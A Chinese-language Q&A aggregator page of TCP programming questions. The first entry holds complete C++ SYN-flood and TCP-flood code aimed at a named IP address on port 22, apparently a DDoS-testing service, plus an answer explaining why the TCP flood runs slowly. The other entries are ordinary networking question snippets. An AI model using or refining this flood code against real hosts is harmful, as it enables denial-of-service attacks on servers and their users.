tcp 相关问题

传输控制协议(TCP)是一种传输层协议,它提供面向连接的数据流服务,并提供有保证的有序传输。

TCP 数据包未显示在服务器上 C++

我正在尝试淹没 dstat.cc 上的服务器,但它无法按我的预期工作。 这是代码 #包括 #包括 #包括 #包括 我正在尝试淹没 dstat.cc 上的服务器,但它没有按我的预期工作。 这是代码 #include <iostream> #include <thread> #include <vector> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <unistd.h> #include <csignal> #include <cstring> std::string dest_ip; unsigned int dest_port; unsigned int junk_length = 5; unsigned int thread_count = 1; sockaddr_in dest; timeval timeout; std::string alphanum = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; int alphanum_size = alphanum.length(); // helpers std::string rand_str(int length) { std::string result; for (int i = 0; i < length; i++) result += alphanum[rand() % (alphanum_size - 1)]; return result; } /* ------------------------- flood methods ------------------------- */ // ------- // // do not require special privileges void syn_flood() { while (true) { int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sockfd < 0) std::cerr << "\nSocket creation error. Errno: " << errno; setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest)); close(sockfd); } } // ------- // void tcp_flood() { while (true) { int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest)); if (connection_status == 0) { while (true) { std::string junk = rand_str(junk_length); send(sockfd, junk.c_str(), junk.length(), 0); } } else { close(sockfd); std::cout << "Connection error. Errno: " << errno; exit(1); } } } // ------- // /* ----------------------------------------------------------------- */ int main(int argc, char* argv[]) { /* startup */ dest_ip = "168.119.255.140"; // dstat.cc Live Layer 4 - Protected - Hetzner - 1 IP dest_port = 22; // target TCP port. dest.sin_family = AF_INET; dest.sin_port = htons(dest_port); inet_pton(AF_INET, dest_ip.c_str(), &dest.sin_addr); // timeout.tv_sec = 0; setting minimal timeout for syn_flood function // timeout.tv_usec = 1; // syn_flood(); tcp_flood(); return 0; } syn_flood 工作正常,在图表上每秒生成 1k 个数据包。但 tcp_flood 几乎什么也没产生。我的意思是,它每秒生成 30 个数据包或类似的东西,但这真的很奇怪,因为我有一个正常的网络连接。 在此之前,我尝试过其他工具(包括我自己用C#编写的),像这样的flood工作得很好。 此外,每当我尝试使用原始套接字发送原始 TCP 数据包时,就会出现问题。它只是没有显示在 dstat.cc 的图表上。 究竟是什么问题? 它每秒生成 30 个数据包或其他东西 tcp_flood 正在执行一系列阻塞连接,即等待一次 TCP 握手完成后再进行下一次握手。因此,这取决于对等方对连接尝试的响应。假设服务器响应(而不是仅仅丢弃 SYN),这取决于网络连接的延迟、服务器响应的速度以及服务器上应用的某些速率限制。 从这里开始,当 ping dict.cc 时,我得到的往返时间约为 30 毫秒。每次 TCP 握手都需要一个往返。因此,如果这些按顺序完成,人们可以在一秒钟内进行大约 30 次 TCP 握手,这与您的体验相符。 与此相反,syn_flood不会等待连接完成,它只是由于 SO_SNDTIMEO 设置而立即停止。

回答 1 投票 0

Kotlin 中的 TCP Socket 实现

我们在 Kotlin 中实现了一个 Socket 客户端,用于与同一本地网络中的支付终端进行通信。它的工作原理如下: 我们打开Socket连接,支付终端响应...

回答 1 投票 0

编写 Wireshark 解析器来计算 TCP 流数

我有一个非常大的 tcpdump 文件,我将其分成 1 分钟的间隔。我可以使用 tshark 使用循环代码提取每个 1 分钟文件的 TCP 统计信息,并将结果保存为 CSV

回答 2 投票 0

从 torrent 节点接收片段

我正在尝试用 C 语言编写一个 torrent 客户端,到目前为止我已经编写了 Bencode Parser,但我陷入了网络部分。 根据规范 初次握手和发送后的规范...

回答 1 投票 0

无法连接到tcp:5037:无法连接到127.0.0.1:5037:无法建立连接,因为目标机器主动拒绝。 (10061)

嗨,我是 Android 新手,我无法运行 adb.exe,它给了我以下错误: ==>adb 启动服务器 adb I 6108 5748 adb.cpp:219] Android 调试桥版本 1.0.32 adb 我 6108 5748 adb.cpp:219]

回答 8 投票 0

iperf3:无法创建新流

我的系统上有 2 个用户。一名用户能够提供系统上安装的 iperf3 的所有日志。但第二个用户给出的错误为: iperf3:错误 - 无法创建新流:没有这样的 fi...

回答 4 投票 0

使用 TMemoryStream 通过 IdTCPServer 和 TIdThreadSafeObjectList 发送数据时出现问题

我缺少一些尝试实现发送 TMemoryStream 数据的东西,因为当我尝试将它们发送到 TMyContext.SendQueue() 中的客户端时,流是空的。 这是我的简化代码: TMyConte...

回答 1 投票 0

Golang运行时/内部/syscall.Syscall6消耗大量CPU

我有一个在 Ubuntu 22.04.4 LTS 上运行的基于 TCP 的代理服务器。它的性能非常好,但是当使用 https://github.com/google/pprof 进行分析时,它给出了以下输出: 平平%总和%...

回答 1 投票 0

TCP 路由 Kubernetes API 不会在 K8S 集群外部公开服务

我有两个名为 simple 和 simple-replicas 的 Kubernetes 服务,它们监听端口 5432 上的 TCP 流量,我想通过 Envoy 代理网关 API 实现在 K8S 集群外部公开...

回答 1 投票 0

我不懂TCP套接字

我正在用 C 语言编写一个简单的 TCP 客户端和服务器套接字程序。 我不明白的是: 在我的客户端代码上,似乎有一个用于接收和发送的套接字就可以了。 但在我的

回答 1 投票 0

gRPC Streaming 的具体保证是什么?

我一直很难理解 gRPC 流的确切保证。主要是因为我听过/读到过与之相矛盾的故事。 我的问题如下: 如果我有一个流 [A,...

回答 1 投票 0

使用 Ping C# 对 IotHub 进行可用性检查 由于出站不允许 ICMP,所以 ICMP Echo 数据包在容器中不起作用

我正在尝试使用 Ping 检查 IoTHub 的可用性, 公共异步任务 CheckAvailabilityAsync(string url) { if (string.IsNullOrEmpty(url)) 返回 false; 平平 = 新 Pi...

回答 1 投票 0

Arduino ESP32-S2 TCP 数据包大小

我在Arduino IDE中使用ESP32-S2作为TCP/IP服务器。 如何更改 TCP 数据接收包大小? 目前是 5760 字节,我在 Wireshark TCP SYN 数据包中看到过这个? 我已经尝试过...

回答 1 投票 0

使用ReceiveAsync和SendAsync传输文本时的错误

我正在编写一个用于在 WindowsFormsApp 中创建在线聊天的服务器,并在 ReceiveAsync 和 SendAsync 中遇到错误。我该如何修复它? 问题始于尝试将参数传递给

回答 1 投票 0

确定 TCP 连接是否使用 SSL

也许某些服务器可以处理非安全和安全协议。 是否有已知的方法来确定现有 TCP 连接是否安全? (我相信只要监控流量和ch...

回答 1 投票 0

Go Back N 发送方如何处理无序确认?

根据我的理解,在Go Back N中,序列号为i的确认表明直到i-1(包括i-1)的所有数据包都已被确认。 因此,如果发送方的窗口大小为 w,并且

回答 1 投票 0

如何在Windows上启用TCP BBR?

可以使用以下命令在 Linux 中启用 TCP BBR: net.core.default_qdisc=fq net.ipv4.tcp_congestion_control=bbr 正如这里所解释的 如何在 Windows 10 计算机上执行相同操作?

回答 2 投票 0

从字节数组计算 TCP 数据包的校验和

我最近问了一个类似的问题,但将其标记为已解决,因为我认为我找到了答案,而实际上我的代码仅适用于特定情况,而错过了大部分情况。无论如何我正在使用

回答 1 投票 0

通过 TCP 和 QMH 进行 Labview 电源控制

我是 LV 的新手,为了练习,我使用 Labview 控制电源(TTI)。要求真的很简单。我所要做的就是创建第一个供应渠道。会有三米...

回答 1 投票 0

使用 TCP 在 C# Windows 窗体中共享屏幕:半屏出现故障

我正在尝试用 C# 通过 LAN 编写一个非常简单的屏幕共享代码。除了屏幕被切成两半(或者当我切换时有时 30%)之外,它似乎运行良好且流畅,有 100 秒的延迟......

回答 1 投票 0

© www.soinside.com 2019 - 2024. All rights reserved.